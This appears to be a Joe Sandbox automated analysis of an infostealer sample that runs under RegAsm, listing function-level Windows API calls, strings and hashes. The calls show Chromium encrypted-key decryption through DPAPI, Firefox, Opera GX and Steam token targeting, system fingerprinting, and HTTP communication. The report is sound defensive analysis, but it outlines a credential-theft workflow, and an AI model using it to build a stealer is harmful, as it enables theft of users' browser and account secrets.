Instruction ID: 42ca61e586c1720d2c047ca9a9af7e1789792bcd68f96686660d08a5fcddf259
Opcode Fuzzy Hash: 459cd9c668c9d3dac047d98457e967798d1d03a946412a2b16b812ce937afc69
Instruction Fuzzy Hash: 4E713172A00119ABCF01FBA5EE469CD7775EF04309F115036F500B71A1DBB9AE898B99

Function 0040D40E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,004168FA,?), ref: 00411E37

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

StrStrA.SHLWAPI(00000000,?,00437530,0043689B), ref: 0040D49F
lstrlenA.KERNEL32(?), ref: 0040D4B2

Strings

^userContextId=4294967295, xrefs: 0040D4D7
moz-extension+++, xrefs: 0040D4DD

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: 5fcfc918b7067b4acf3c39151c0ee55033f2a22d9b6e8bb2709fb18692aaa856
Instruction ID: 4db8db0b305f3fc5c263bdd2f9663bd58fe1f20240ba26d60a6caa46d7645bef
Opcode Fuzzy Hash: 5fcfc918b7067b4acf3c39151c0ee55033f2a22d9b6e8bb2709fb18692aaa856
Instruction Fuzzy Hash: DC41FB76A001199BCF11FBA5DD465CD77B5AF04308F51003AFD40B3192DBB8AE8D8AE9

Function 0040819F Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,004168FA,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Part of subcall function 004080A1: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
Part of subcall function 004080A1: LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
Part of subcall function 004080A1: LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

, xrefs: 00408241
DPAPI, xrefs: 0040821B
"encrypted_key":", xrefs: 004081DF

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2311102621-738592651
Opcode ID: 4cb4a0965ee0ef5ee919df8f9f791905bb3a80c41a9dbf531dbf635d4f5d18ba
Instruction ID: 4cb87360d4cc9858b9bae9126dd361b9e7f070cb957ea2b410353c93073faa23
Opcode Fuzzy Hash: 4cb4a0965ee0ef5ee919df8f9f791905bb3a80c41a9dbf531dbf635d4f5d18ba
Instruction Fuzzy Hash: 9321F532E40209ABDF14EB91DD41ADE7374AF41360F1044BEE950B72D0DF389A49CA58

Function 00410F51 Relevance: 6.0, APIs: 4, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,0041421B,Processor: ,[Hardware],00436948,00000000,TimeZone: ,00436938,00000000,Local Time: ,00436924), ref: 00410F65
HeapAlloc.KERNEL32(00000000,?,?,?,0041421B,Processor: ,[Hardware],00436948,00000000,TimeZone: ,00436938,00000000,Local Time: ,00436924,Keyboard Languages: ,00436908), ref: 00410F6C
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436880,?,?,?,0041421B,Processor: ,[Hardware],00436948,00000000,TimeZone: ,00436938,00000000,Local Time: ), ref: 00410F8A
RegQueryValueExA.KERNEL32(00436880,00000000,00000000,00000000,000000FF,?,?,?,0041421B,Processor: ,[Hardware],00436948,00000000,TimeZone: ,00436938,00000000), ref: 00410FA6

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction ID: 198c8e352812e869def4411d780e2caea40c147a773264a459f6a712475eeb20
Opcode Fuzzy Hash: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction Fuzzy Hash: C9F03075640304FBEF148B90DC0AFAE7B7EEB44706F141094F601A51A0E7B29B509B60

Function 004162F9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416341
lstrcatA.KERNEL32(?), ref: 0041635F

Part of subcall function 00415F9A: wsprintfA.USER32 ref: 00415FE1
Part of subcall function 00415F9A: FindFirstFileA.KERNEL32(?,?), ref: 00415FF8
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436AAC), ref: 00416019
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436AB0), ref: 00416033
Part of subcall function 00415F9A: wsprintfA.USER32 ref: 0041605A
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436647), ref: 0041606E
Part of subcall function 00415F9A: wsprintfA.USER32 ref: 0041608B
Part of subcall function 00415F9A: PathMatchSpecA.SHLWAPI(?,?), ref: 004160B8
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?), ref: 004160EE
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,00436AC8), ref: 00416100
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,?), ref: 00416113
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,00436ACC), ref: 00416125
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,?), ref: 00416139

Part of subcall function 00415F9A: wsprintfA.USER32 ref: 004160A2
Part of subcall function 00415F9A: FindNextFileA.KERNEL32(?,?), ref: 004162C8
Part of subcall function 00415F9A: FindClose.KERNEL32(?), ref: 004162DC

Strings

7zA, xrefs: 00416477

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: 7zA
API String ID: 153043497-175032957
Opcode ID: bc5468eb71594b395590fde63c09a3da5e5195f092b7dc41013fec04b9ed5089
Instruction ID: b3e3a05dd6e1b3f2d1f401c5eb4087b2e9cdcdc9d722114950f18d252210513d
Opcode Fuzzy Hash: bc5468eb71594b395590fde63c09a3da5e5195f092b7dc41013fec04b9ed5089
Instruction Fuzzy Hash: 9B31197280050EEFCF09EB60DC43EE8337AEB08308F0444AEB506932A1EA769B559F55

Function 00416807 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

StrCmpCA.SHLWAPI(?,ERROR), ref: 0041683C

Strings

ERROR, xrefs: 0041685F
ERROR, xrefs: 00416834

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternet$OpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 3086566538-2579291623
Opcode ID: c1618506ade923976d410a78d0118844dfd2a2f2a4ce65ec30e3f137836741db
Instruction ID: 726cad4adb7466161341e2d5928f42d3ed502d238f03c06f5594ac904ff58156
Opcode Fuzzy Hash: c1618506ade923976d410a78d0118844dfd2a2f2a4ce65ec30e3f137836741db
Instruction Fuzzy Hash: 9E014F75E00118ABCB21FB76D9469CD77A86E04308F514177BC24F3293E7B8E9498AD9

Function 0041224A Relevance: 4.5, APIs: 3, Instructions: 36COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00413DB3,00000000,?), ref: 0041226C
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
CloseHandle.KERNEL32(00000000), ref: 0041228E

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: be3f5f3ec194e1506fa54ce7dd0fcfbfff3ff427d54d4a17b13e59292d64dd5a
Instruction ID: 07042d539b9cb392da1f421894f03ac4b7e1a2d86b80db83d4b3302071e4a92c
Opcode Fuzzy Hash: be3f5f3ec194e1506fa54ce7dd0fcfbfff3ff427d54d4a17b13e59292d64dd5a
Instruction Fuzzy Hash: 2FF0B471600218ABDB24EB68DC45FEEB7BC9B44B08F00006AF645D7180EEB5DAC58B54

Function 00410C85 Relevance: 4.5, APIs: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 5d1f46fb138707beabd440fd8a5205b18fa244f283a7e9dc606f308aea7bae98
Instruction ID: 27e192b18a38f2f12cdae3b0b475b120c200fe1745c4f7c36bd186b6643d2323
Opcode Fuzzy Hash: 5d1f46fb138707beabd440fd8a5205b18fa244f283a7e9dc606f308aea7bae98
Instruction Fuzzy Hash: 72E08CB1200204BBE7449B99AC8DF8A76BCDB84755F100225F606D2250E6B4C9848B68

Function 0040C95C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 286COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

StrCmpCA.SHLWAPI(?,Opera GX,0043684F,0043684E,?,?,?), ref: 0040C98F

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Strings

Opera GX, xrefs: 0040C97F

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: Opera GX
API String ID: 1719890681-3280151751
Opcode ID: fd30662bbb0df69b7e749c14c4835a746ce06bdc28bdb211507647d3f2e04d7e
Instruction ID: f27801e8275c5d49bf7f719f28fda38a5004f758e4d98a6938de4012f210df24
Opcode Fuzzy Hash: fd30662bbb0df69b7e749c14c4835a746ce06bdc28bdb211507647d3f2e04d7e
Instruction Fuzzy Hash: B5B1ED7294011DABCF11FFA6DE425CD7775AF04308F51013AF904771A2DAB8AE8A8B99

Function 00407B0B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,?,?,?,00407C56,?), ref: 00407B8A

Strings

, xrefs: 00407B5D

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction ID: 7cbd0eafb3405f1822ca0081af98c781be9845726f70e814ec0c9ffce599534c
Opcode Fuzzy Hash: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction Fuzzy Hash: 14119D71908509ABDB20DF94C684BAAB3F4FB00348F144466D641E32C0D33CBE85D75B

Function 00416F80 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

lstrlenA.KERNEL32(?), ref: 00416FC7

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

Strings

Soft\Steam\steam_tokens.txt, xrefs: 00416FD7

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
